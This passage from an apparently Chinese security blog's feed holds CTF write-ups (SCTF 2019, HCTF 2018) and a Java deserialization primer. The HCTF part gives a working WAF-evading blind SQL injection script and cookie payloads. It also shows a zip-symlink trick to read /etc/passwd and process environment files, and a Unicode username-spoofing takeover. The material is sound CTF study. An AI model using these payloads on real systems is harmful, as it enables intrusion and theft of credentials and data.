paramString1 = <span class="keyword">new</span> <span class="keyword">char</span>[paramString1.length()];</span><br><span class="line"> <span class="keyword">int</span> k = <span class="number">0</span>;</span><br><span class="line"> j = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < paramString2.length; i++)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">int</span> n = m;</span><br><span class="line"> k = (k + <span class="number">1</span>) % n;</span><br><span class="line"> j = (arrayOfInt[k] + j) % n;</span><br><span class="line"> <span class="keyword">int</span> i1 = arrayOfInt[k];</span><br><span class="line"> arrayOfInt[k] = arrayOfInt[j];</span><br><span class="line"> arrayOfInt[j] = i1;</span><br><span class="line"> <span class="keyword">int</span> i2 = arrayOfInt[k];</span><br><span class="line"> i1 = arrayOfInt[k];</span><br><span class="line"> paramString1[i] = ((<span class="keyword">char</span>)(<span class="keyword">char</span>)(paramString2[i] - k ^ (<span class="keyword">char</span>)arrayOfInt[((i2 + i1 % n) % n)]));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">new</span> p();</span><br><span class="line"> <span class="keyword">return</span> p.a(<span class="keyword">new</span> String(paramString1).getBytes());</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>分析加密类之后可以知道每个字符进去后输出的密文都是一个固定的字符串<br>于是直接爆破每一位<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.String;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> c a = <span class="keyword">new</span> c();</span><br><span class="line"> String flag = <span class="string">"sctf{"</span>;</span><br><span class="line"> String printable = <span class="string">"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-.:;<=>?@[]^_{|}~"</span>;</span><br><span class="line"> String ss = <span class="string">"C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53"</span>;</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> j=<span class="number">0</span>;j<<span class="number">100</span>;j++)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i<printable.length();i++)</span><br><span class="line"> {</span><br><span class="line"> String now= flag + printable.charAt(i);</span><br><span class="line"> <span class="comment">//System.out.println(now);</span></span><br><span class="line"> String d = a.a(now,<span class="string">"E7E64BF658BAB14A25C9D67A054CEBE5"</span>);</span><br><span class="line"> <span class="keyword">if</span>(ss.indexOf(d) == <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> System.out.println(<span class="string">"flag: "</span> + now);</span><br><span class="line"> flag = now;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//break;</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br><img src="/img/2019-sctf-7.png" alt=""></p>
<h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>好久没有这么肝一场比赛了,最后我们队因为123血太少只拿了第三,稍微有些遗憾,但还是感谢队友,感谢出题和运维师傅们递茶,给师傅们递茶!</p>
]]></content>
<summary type="html">
<p>刚刚毕业,正好周末遇上SCTF,打了两天,这里记录一下做的几道题<br>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
</entry>
<entry>
<title>JAVA反序列化漏洞系列之—基础知识</title>
<link href="https://www.codemonster.cn/2019/01/24/java-serialize-vuln0/"/>
<id>https://www.codemonster.cn/2019/01/24/java-serialize-vuln0/</id>
<published>2019-01-24T08:15:27.000Z</published>
<updated>2019-06-24T08:57:16.000Z</updated>
<content type="html"><![CDATA[<p>JAVA反序列化漏洞近几年来十分热门,于是打算记录下从零开始学习JAVA反序列化漏洞的过程,于是就有了本系列文章,写的不好欢迎师傅们斧正。<br>本篇文章主要介绍JAVA的基础知识,不定时会补充一些新的知识点。<br><a id="more"></a><br><!-- 本系列所有源码与poc&exp:https://github.com/xishir/ --></p>
<h1 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h1><p>普通语法就不需要多讲了吧,JAVA基础差同学可以先过一下菜鸟课程<br><a href="http://www.runoob.com/java/java-tutorial.html" target="_blank" rel="noopener">http://www.runoob.com/java/java-tutorial.html</a><br>这边简单列举一下需要掌握的点</p>
<ul>
<li>安装jdk</li>
<li>基础语法</li>
<li>对象和类</li>
<li>IO流、文件操作</li>
<li>异常处理</li>
<li>封装继承多态、抽象、接口</li>
<li>泛型</li>
<li>网络编程</li>
<li>Servlet</li>
<li>SSH、SSM框架</li>
<li>Maven的使用</li>
<li>主流中间件</li>
<li>主流IDE的使用</li>
</ul>
<h1 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h1><ul>
<li>java环境:jdk1.8.0_162</li>
<li>电脑系统:macOS Mojave 10.14.3</li>
<li>IDE:IntelliJ IDEA</li>
</ul>
<h1 id="序列化与反序列化"><a href="#序列化与反序列化" class="headerlink" title="序列化与反序列化"></a>序列化与反序列化</h1><h2 id="基本概念"><a href="#基本概念" class="headerlink" title="基本概念"></a>基本概念</h2><p>序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。一般将一个对象存储至一个储存媒介,例如档案或是记亿体缓冲等。在网络传输过程中,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这个相反的过程又称为反序列化。<br>什么情况下需要序列化</p>
<ul>
<li>将内存中的对象保存到文件中或者数据库</li>
<li>用套接字在网络上传送对象</li>
<li>通过RMI传输对象 </li>
</ul>
<p>序列化的作用就是对象的<code>持久化</code>和<code>传递</code>。 </p>
<p>类通过实现<code>java.io.Serializable</code>接口以启用其序列化功能。未实现此接口的类将无法使其任何状态序列化或反序列化。可序列化类的所有子类型本身都是可序列化的。序列化接口没有方法或字段,仅用于标识可序列化的语义。 </p>
<h2 id="简单实例"><a href="#简单实例" class="headerlink" title="简单实例"></a>简单实例</h2><p>对象序列化包括如下步骤:</p>
<ol>
<li>创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;</li>
<li>通过对象输出流的writeObject()方法写对象。 </li>
</ol>
<p>对象反序列化的步骤如下:</p>
<ol>
<li>创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;</li>
<li>通过对象输入流的readObject()方法读取对象。<br>简单举个🌰:<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.xishir.serialize;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Test</span> <span class="keyword">implements</span> <span class="title">Serializable</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">long</span> serialVersionUID = <span class="number">1L</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> String n;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Test</span><span class="params">(String n)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.n = n;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.n;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="comment">//实例化一个对象</span></span><br><span class="line"> Test obj = <span class="keyword">new</span> Test(<span class="string">"Serialize Test"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//序列化对象</span></span><br><span class="line"> ObjectOutputStream output = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(<span class="string">"test.obj"</span>));</span><br><span class="line"> output.writeObject(obj);</span><br><span class="line"> output.flush();</span><br><span class="line"> output.close();</span><br><span class="line"></span><br><span class="line"> <span class="comment">//反序列化对象</span></span><br><span class="line"> File file = <span class="keyword">new</span> File(<span class="string">"test.obj"</span>);</span><br><span class="line"> ObjectInputStream ois = <span class="keyword">new</span> ObjectInputStream(<span class="keyword">new</span> FileInputStream(file));</span><br><span class="line"> Object x = ois.readObject();</span><br><span class="line"> System.out.print(x);</span><br><span class="line"> ois.close();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
运行结果<br><img src="/img/ser/ser0-2.png" alt=""></li>
</ol>
<p>对象序列化后存储为<code>test.obj</code>,内容是这样的<br><img src="/img/ser/ser0-1.png" alt=""><br>可以看到二进制文件是以<code>aced 0005</code>开头的,如果是base64就是以<code>rO0a</code>开头的(划重点!见到类似的数据传输操起键盘就是一梭子payload过去<br><img src="/img/ser/ser0-3.png" alt=""></p>
<h2 id="自定义反序列化行为"><a href="#自定义反序列化行为" class="headerlink" title="自定义反序列化行为"></a>自定义反序列化行为</h2><p>自定义序列化和反序列化过程,就是重写<code>writeObject</code>和<code>readObject</code>方法。<br>国际惯例,弹个计算器<br><img src="/img/ser/ser0-4.png" alt=""><br>readObject的代码为:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(ObjectInputStream in)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException </span>{</span><br><span class="line"> in.defaultReadObject();</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"open -a calculator"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br>当序列化对象的时候就会执行writeObject方法,反序列化对象的时候就会执行readObject方法,从而控制能够反序列化的行为。</p>
<h2 id="serialVersionUID"><a href="#serialVersionUID" class="headerlink" title="serialVersionUID"></a>serialVersionUID</h2><p>serialVersionUID的取值是Java运行时环境根据类的内部细节自动生成的。如果对类的源代码作了修改,再重新编译,新生成的类文件的serialVersionUID的取值有可能也会发生变化,会导致之前序列化的类无法再反序列化回来。<br>类的serialVersionUID的默认值完全依赖于Java编译器的实现,对于同一个类,用不同的Java编译器编译,有可能会导致不同的 serialVersionUID,也有可能相同。为了提高serialVersionUID的独立性和确定性,强烈建议在一个可序列化类中显示的定义serialVersionUID,为它赋予明确的值。</p>
<h2 id="安全风险"><a href="#安全风险" class="headerlink" title="安全风险"></a>安全风险</h2><p>联想php的反序列化漏洞,可以发现readObject方法和php中的魔术方法异曲同工,而大部分Java反序列化漏洞的原理就是某个类重写了<code>readObject</code>方法,在</p>
<h1 id="Java反射机制"><a href="#Java反射机制" class="headerlink" title="Java反射机制"></a>Java反射机制</h1><h2 id="基本概念-1"><a href="#基本概念-1" class="headerlink" title="基本概念"></a>基本概念</h2><p>Java反射机制</p>
<ul>
<li>指的是可以于运行时加载,探知和使用编译期间完全未知的类.</li>
<li>程序在运行状态中, 可以动态加载一个只有名称的类, 对于任意一个已经加载的类,都能够知道这个类的所有属性和方法; 对于任意一个对象,都能调用他的任意一个方法和属性;</li>
<li>加载完类之后, 在堆内存中会产生一个Class类型的对象(一个类只有一个Class对象), 这个对象包含了完整的类的结构信息,而且这个Class对象就像一面镜子,透过这个镜子看到类的结构,所以被称之为:反射.</li>
<li>每个类被加载进入内存之后,系统就会为该类生成一个对应的java.lang.Class对象,通过该Class对象就可以访问到JVM中的这个类.</li>
</ul>
<p>Class对象的获取方法</p>
<ul>
<li>实例对象的getClass()方法;</li>
<li>类的.class(最安全/性能最好)属性;</li>
<li>运用Class.forName(String className)动态加载类,className需要是类的全限定名(最常用).<br>注意,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象</li>
</ul>
<h2 id="简单实例-1"><a href="#简单实例-1" class="headerlink" title="简单实例"></a>简单实例</h2><p>这里我只举个最简单的例子:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.xishir.reflection;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ReflectionTest</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span></span>{</span><br><span class="line"></span><br><span class="line"> Class test = Test<span class="class">.<span class="keyword">class</span></span>;</span><br><span class="line"> System.out.println(<span class="string">"I am:"</span> + test.getName());</span><br><span class="line"></span><br><span class="line"> Method[] methods = test.getMethods();</span><br><span class="line"> <span class="keyword">for</span>(Method method : methods) {</span><br><span class="line"> System.out.println(<span class="string">"I have this method:"</span> + method.getName());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Method method = test.getMethod(<span class="string">"hack"</span>, String<span class="class">.<span class="keyword">class</span>)</span>;</span><br><span class="line"> Object x = method.invoke(<span class="keyword">new</span> Test(<span class="string">"xishir"</span>), <span class="string">"233333"</span>);<span class="comment">//第一个参数是类的对象。第二参数是函数的参数</span></span><br><span class="line"> System.out.println(x);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span></span>{</span><br><span class="line"> <span class="keyword">private</span> String a;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Test</span><span class="params">(String a)</span></span>{</span><br><span class="line"> <span class="keyword">this</span>.a = a;</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">hack</span><span class="params">(String b)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> System.out.println(<span class="string">"test "</span> + <span class="keyword">this</span>.a + <span class="string">" and "</span> + b);</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"open -a calculator"</span>);</span><br><span class="line"> <span class="keyword">return</span> b;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br>运行结果:<br><img src="/img/ser/ser0-5.png" alt=""><br>可以看到,我们成功用<code>Test.class</code>取到了Test类的Class对象,然后列出Test的所有方法,最后用invoke调用了一个Test对象的hack方法。</p>
]]></content>
<summary type="html">
<p>JAVA反序列化漏洞近几年来十分热门,于是打算记录下从零开始学习JAVA反序列化漏洞的过程,于是就有了本系列文章,写的不好欢迎师傅们斧正。<br>本篇文章主要介绍JAVA的基础知识,不定时会补充一些新的知识点。<br>
</summary>
<category term="反序列化" scheme="https://www.codemonster.cn/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
<category term="JAVA" scheme="https://www.codemonster.cn/tags/JAVA/"/>
</entry>
<entry>
<title>2018 HCTF web WriteUp</title>
<link href="https://www.codemonster.cn/2018/11/13/2018-hctf-web-writeup/"/>
<id>https://www.codemonster.cn/2018/11/13/2018-hctf-web-writeup/</id>
<published>2018-11-13T06:42:59.000Z</published>
<updated>2019-06-24T08:57:42.000Z</updated>
<content type="html"><![CDATA[<p>周末肝了两天HCTF,感谢队友们带飞,这里记录一下做的WEB题<br>顺便打个小广告:De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc. 选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=</p>
<a id="more"></a>
<h2 id="kzone"><a href="#kzone" class="headerlink" title="kzone"></a>kzone</h2><p>打开发现是一个QQ钓鱼站,主页会跳转到空间<br><a href="http://kzone.2018.hctf.io/www.zip" target="_blank" rel="noopener">http://kzone.2018.hctf.io/www.zip</a> 可以下载到源码<br>install.sql 文件中有admin密码,admin。<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> <span class="string">`fish_admin`</span> (<span class="string">`id`</span>, <span class="string">`username`</span>, <span class="string">`password`</span>, <span class="string">`name`</span>, <span class="string">`qq`</span>, <span class="string">`per`</span>) <span class="keyword">VALUES</span></span><br><span class="line">(<span class="number">1</span>, <span class="string">'admin'</span>, <span class="string">'21232f297a57a5a743894a0e4a801fc3'</span>, <span class="string">'小杰'</span>, <span class="string">'1503816935'</span>, <span class="number">1</span>);</span><br></pre></td></tr></table></figure><br>不过登陆不上去,密码被改了</p>
<p>审计源码翻到了member.php,发现这边没有addslashes,并且无需登录也可访问</p>
<p><img src="/img/2018-hctf-5.png" alt=""></p>
<p>可以看到这段代码从cookie获取了登陆信息,如果符合几个if,就能登陆<br>想到通过注入 ,union select 替换掉admin_user和admin_pass<br>尝试构造弱类型绕过:<br>Cookie: PHPSESSID=s33h9c1u8bq5t0r8s4dura0c76; islogin=1; login_data={“admin_user”:”admin’||’1”,”admin_pass”:65}<br>(一开始没构造出来,然后就转思路去bypass waf了</p>
<p>参考这篇文章<br><a href="http://blog.sina.com.cn/s/blog_1574497330102wruv.html" target="_blank" rel="noopener">http://blog.sina.com.cn/s/blog_1574497330102wruv.html</a><br>虽然他没绕过关键词检测,但是顺着他的思路尝试构造了<br> \u0075nion,本地测试发现json_decode后变为union,成功bypass waf<br>构造一个sleep的cookie,放到服务端测试也sleep了,证明此处注入可行<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Cookie:PHPSESSID=t0k91etf5fecbi4t25d7hprtm3;islogin=1;login_data={"admin_user":"admin111'/**/\u0075nion/**/select/**/1,2,3,4,5,6/**/from/**/fish_admin/**/where/**/\u0073leep(3)\u003d'1","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}</span><br></pre></td></tr></table></figure></p>
<p><img src="/img/2018-hctf-6.png" alt=""></p>
<p>后面就把所有关键词用这种方法绕过,就能直接注入了,最后flag在 F1444g表的F1a9字段<br>附上注入脚本<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#!coding:utf-8#</span></span><br><span class="line"><span class="comment"># xishir</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"></span><br><span class="line"><span class="comment">#hctf{4526a8cbd741b3f790f95ad32c2514b9}</span></span><br><span class="line"></span><br><span class="line">ss = <span class="string">"{}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-+"</span></span><br><span class="line">r = requests.session()</span><br><span class="line">url = <span class="string">"http://kzone.2018.hctf.io/admin/"</span></span><br><span class="line"><span class="comment">#url="http://127.0.0.1/hctf/www/admin/"</span></span><br><span class="line"></span><br><span class="line">union = <span class="string">'\u00'</span>+str(hex(ord(<span class="string">'u'</span>)))[<span class="number">2</span>:]+<span class="string">'nion'</span></span><br><span class="line">sleep = <span class="string">'\u00'</span>+str(hex(ord(<span class="string">'s'</span>)))[<span class="number">2</span>:]+<span class="string">'leep'</span></span><br><span class="line">ascii = <span class="string">'\u00'</span>+str(hex(ord(<span class="string">'a'</span>)))[<span class="number">2</span>:]+<span class="string">'scii'</span></span><br><span class="line">ok = <span class="string">'\u00'</span>+str(hex(ord(<span class="string">'='</span>)))[<span class="number">2</span>:]</span><br><span class="line">substr = <span class="string">'\u00'</span>+str(hex(ord(<span class="string">'s'</span>)))[<span class="number">2</span>:]+<span class="string">'ubstr'</span></span><br><span class="line">over = <span class="string">'\u00'</span>+str(hex(ord(<span class="string">'#'</span>)))[<span class="number">2</span>:]</span><br><span class="line">blank = <span class="string">"/**/"</span></span><br><span class="line">orr = <span class="string">'\u00'</span>+str(hex(ord(<span class="string">'o'</span>)))[<span class="number">2</span>:]+<span class="string">'r'</span></span><br><span class="line"></span><br><span class="line">flag=<span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">50</span>):</span><br><span class="line"> <span class="keyword">print</span> i</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> ss:</span><br><span class="line"> payload = <span class="string">"admin' and (substr((select binary F1a9 from F1444g limit 1),"</span>+str(i)+<span class="string">",1)='"</span>+str(j)+<span class="string">"') and sleep(4) and 1='1"</span></span><br><span class="line"></span><br><span class="line"> payload = payload.replace(<span class="string">'sleep'</span>,sleep)</span><br><span class="line"> payload = payload.replace(<span class="string">'union'</span>,union)</span><br><span class="line"> payload = payload.replace(<span class="string">'='</span>,ok)</span><br><span class="line"> payload = payload.replace(<span class="string">'#'</span>,over)</span><br><span class="line"> payload = payload.replace(<span class="string">' '</span>,blank)</span><br><span class="line"> payload = payload.replace(<span class="string">'ascii'</span>,ascii)</span><br><span class="line"> payload = payload.replace(<span class="string">'substr'</span>,substr)</span><br><span class="line"> payload = payload.replace(<span class="string">'or'</span>,orr)</span><br><span class="line"></span><br><span class="line"> jsons = <span class="string">'{"admin_user":"'</span>+payload+<span class="string">'","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}'</span></span><br><span class="line"></span><br><span class="line"> cookie={<span class="string">"PHPSESSID"</span>:<span class="string">"t0k91etf5fecbi4t25d7hprtm3"</span>,</span><br><span class="line"> <span class="string">"islogin"</span>:<span class="string">"1"</span>,</span><br><span class="line"> <span class="string">"login_data"</span>:jsons}</span><br><span class="line"></span><br><span class="line"> t1=time.time()</span><br><span class="line"> r1 = r.get(<span class="string">"http://kzone.2018.hctf.io"</span>,cookies=cookie)</span><br><span class="line"> t2=time.time()</span><br><span class="line"> <span class="comment">#print t2</span></span><br><span class="line"> <span class="keyword">if</span> (t2-t1)><span class="number">4</span>:</span><br><span class="line"> <span class="comment">#print "aaaaaaaa"</span></span><br><span class="line"> flag+=str(j)</span><br><span class="line"> <span class="keyword">print</span> i,flag</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure></p>
<p><img src="/img/2018-hctf-7.png" alt=""></p>
<h2 id="admin"><a href="#admin" class="headerlink" title="admin"></a>admin</h2><p>找到源码 <a href="https://github.com/woadsl1234/hctf_flask/" target="_blank" rel="noopener">https://github.com/woadsl1234/hctf_flask/</a><br><img src="/img/2018-hctf-8.png" alt=""></p>
<p><img src="/img/2018-hctf-10.png" alt=""><br>看到strlower函数很奇怪<br>参考:<a href="http://blog.lnyas.xyz/?p=1411" target="_blank" rel="noopener">http://blog.lnyas.xyz/?p=1411</a><br>最后解题步骤如下</p>
<ol>
<li>注册一个ᴬdmin账号</li>
<li>登陆ᴬdmin,发现页面显示Admin</li>
<li>修改密码,退出登录</li>
<li>重新登陆Admin,看到flag<br><img src="/img/2018-hctf-11.png" alt=""></li>
</ol>
<h2 id="hide-and-seek"><a href="#hide-and-seek" class="headerlink" title="hide and seek"></a>hide and seek</h2><p>传个zip,会解压缩并且读取<br>尝试传个链接文件ln -s /etc/passwd test 并压缩上传<br>读到/etc/passwd</p>
<p>然后就是各种文件读取<br>在 /proc/self/environ读取到一个好东西</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0</span><br></pre></td></tr></table></figure>
<p>然后直接读/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini文件得到</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app</span><br></pre></td></tr></table></figure>
